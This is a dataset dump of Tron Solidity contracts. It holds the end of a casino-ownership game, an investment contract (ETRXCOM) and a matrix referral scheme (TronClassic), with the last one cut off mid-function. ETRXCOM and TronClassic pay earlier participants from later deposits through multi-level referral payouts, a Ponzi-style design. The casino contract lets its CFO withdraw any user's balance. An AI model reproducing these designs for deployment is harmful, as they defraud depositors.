addCasino(2, 20000000000000000, 'South Korea Paradise Walker Hill Casino', 'Two star Casino');
addCasino(2, 20000000000000000, 'Las Vegas Paris Casino', 'Two star Casino');
addCasino(2, 20000000000000000, 'Las Vegas Caesars Palace Casino', 'Two star Casino');
addCasino(1, 10000000000000000, 'Las Vegas Riviera Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Las Vegas Mandalay Bay Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Las Vegas MGM Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Las Vegas New York Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Las Vegas Renaissance Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Las Vegas Venetian Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Melbourne Crown Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Macao Grand Lisb Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Singapore Marina Bay Sands Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Malaysia Cloud Top Mountain Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'South Africa Sun City Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Vietnam Smear Peninsula Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Macao Sands Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Bahamas Paradise Island Casino', 'One star Casino');
addCasino(1, 10000000000000000, 'Philippines Manila Casinos', 'One star Casino');
}
///
function () payable public {
//receive ether.
masterHas = safeAdd(masterHas, msg.value);
}
/// @dev add a new casino
function addCasino(uint16 _star, uint _price, string _name, string _desc) internal
{
uint newID = ids.length + 1;
Casino memory item = Casino({
id:uint16(newID),
star:_star,
owner:cooAddress,
price:_price,
name:_name,
desc:_desc
});
allCasinos[newID] = item;
ids.push(newID);
}
/// @dev set casino name and description by coo
function setCasinoName(uint16 id, string _name, string _desc) public onlyCOO
{
Casino storage item = allCasinos[id];
require(item.id > 0);
item.name = _name;
item.desc = _desc;
}
/// @dev check wether the address is a casino owner.
function isOwner(address addr) public view returns (uint16)
{
for(uint16 id = 1; id <= 29; id++) {
Casino storage item = allCasinos[id];
if (item.owner == addr) {
return id;
}
}
return 0;
}
/// @dev identify this contract is a partner holder.
function isHolder() public pure returns (bool) {
return true;
}
/// @dev give bonus to all partners, and the owners can withdraw it soon.
function bonusAll() payable public {
uint total = msg.value;
uint remain = total;
if (total > 0) {
for (uint i = 0; i < ids.length; i++) {
uint id = ids[i];
Casino storage item = allCasinos[id];
uint fund = 0;
if (item.star == 5) {
fund = safeDiv(safeMul(total, 2000), 10000);
} else if (item.star == 4) {
fund = safeDiv(safeMul(total, 1000), 10000);
} else if (item.star == 3) {
fund = safeDiv(safeMul(total, 500), 10000);
} else if (item.star == 2) {
fund = safeDiv(safeMul(total, 200), 10000);
} else {
fund = safeDiv(safeMul(total, 100), 10000);
}
if (remain >= fund) {
remain -= fund;
address owner = item.owner;
if (owner != address(0)) {
uint oldVal = balances[owner];
balances[owner] = safeAdd(oldVal, fund);
}
}
}
}
}
/// @dev bonus to casino which has the specific id
function bonusOne(uint id) payable public {
Casino storage item = allCasinos[id];
address owner = item.owner;
if (owner != address(0)) {
uint oldVal = balances[owner];
balances[owner] = safeAdd(oldVal, msg.value);
} else {
masterHas = safeAdd(masterHas, msg.value);
}
}
/// @dev user withdraw,
function userWithdraw() public {
uint fund = balances[msg.sender];
require (fund > 0);
delete balances[msg.sender];
msg.sender.transfer(fund);
}
/// @dev buy a casino without any agreement.
function buy(uint16 _id) payable public returns (bool) {
Casino storage item = allCasinos[_id];
uint oldPrice = item.price;
require(oldPrice > 0);
require(msg.value >= oldPrice);
address oldOwner = item.owner;
address newOwner = msg.sender;
require(oldOwner != address(0));
require(oldOwner != newOwner);
require(isNormalUser(newOwner));
item.price = calcNextPrice(oldPrice);
item.owner = newOwner;
emit Bought(_id, newOwner, oldPrice, oldOwner);
// Transfer payment to old owner minus the developer's cut.
uint256 devCut = safeDiv(safeMul(oldPrice, masterCut), 10000);
oldOwner.transfer(safeSub(oldPrice, devCut));
masterHas = safeAdd(masterHas, devCut);
uint256 excess = msg.value - oldPrice;
if (excess > 0) {
newOwner.transfer(excess);
}
}
/// @dev calculate next price
function calcNextPrice (uint _price) public pure returns (uint nextPrice) {
if (_price >= 5 ether) {
return safeDiv(safeMul(_price, 110), 100);
} else if (_price >= 2 ether) {
return safeDiv(safeMul(_price, 120), 100);
} else if (_price >= 500 finney) {
return safeDiv(safeMul(_price, 130), 100);
} else if (_price >= 20 finney) {
return safeDiv(safeMul(_price, 140), 100);
} else {
return safeDiv(safeMul(_price, 200), 100);
}
}
// @dev Allows the CFO to capture the balance.
function cfoWithdraw() external onlyCFO {
cfoAddress.transfer(masterHas);
masterHas = 0;
}
/// @dev cfo withdraw dead ether.
function withdrawDeadFund(address addr) external onlyCFO {
uint fund = balances[addr];
require (fund > 0);
delete balances[addr];
cfoAddress.transfer(fund);
}
}
| 216,242 | 13,537 |
df872b4c01b7f5ccd1d563f2fdb15544cdf51116ab77bdd9bcd146d6189a80b6
| 16,636 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUFfi1CifzPtjpyQuxNALeDukapyH2Acda_ETRXCOM.sol
| 3,829 | 14,328 |
//SourceUnit: e_trx_v2.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract ETRXCOM {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 10000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1500, 1000, 500, 200, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100];
uint constant public MARKETING_FEE = 1000;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 200;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 50;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 80000000 trx;
uint constant public LEADER_BONUS_STEP = 20000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 50000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[35] refs;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3)) {
dividends = (uint(user.deposits[i].amount).mul(3)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3)) {
dividends = (uint(user.deposits[i].amount).mul(3)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint msgValue = msg.value;
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
emit FeePayed(msg.sender, marketingFee.add(projectFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 35; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(3);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[35] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 303,236 | 13,538 |
95d2c517a4922994db26c20a9bd26171042f68024cb90f91aa80a20f3037e6eb
| 23,872 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYRADChq4V5YnU46Q9EvWLto7hkgNQdCQi_TronClassic.sol
| 6,140 | 23,340 |
//SourceUnit: tronclassic.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract TronClassic {
using SafeMath for *;
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint16 internal constant POOL_PER = 1000;
uint16 internal constant POOL_DIVISOR = 10000;
uint256 public poolTime = 24 hours;
uint256 public nextClosingTime = now + poolTime;
uint public lastUserId = 2;
address public owner;
address public deployer;
mapping(uint8 => uint) public levelPrice;
address[] public poolUsers;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
event PoolIncome(address indexed userAddress, uint256 amount);
event PoolEnter(address indexed userAddress, uint256 time);
constructor(address ownerAddress) public {
levelPrice[1] = 100 trx;
levelPrice[2] = 200 trx;
levelPrice[3] = 300 trx;
levelPrice[4] = 400 trx;
levelPrice[5] = 500 trx;
levelPrice[6] = 600 trx;
levelPrice[7] = 700 trx;
levelPrice[8] = 800 trx;
levelPrice[9] = 900 trx;
levelPrice[10] = 1000 trx;
levelPrice[11] = 1100 trx;
levelPrice[12] = 1200 trx;
owner = ownerAddress;
deployer = msg.sender;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
poolUsers.push(ownerAddress);
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
if(level == 12 && users[msg.sender].activeX6Levels[level])
{
emit PoolEnter(msg.sender, now);
poolUsers.push(msg.sender);
}
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
if(level == 12 && users[msg.sender].activeX3Levels[level])
{
emit PoolEnter(msg.sender, now);
poolUsers.push(msg.sender);
}
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 200 trx, "registration cost 200");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
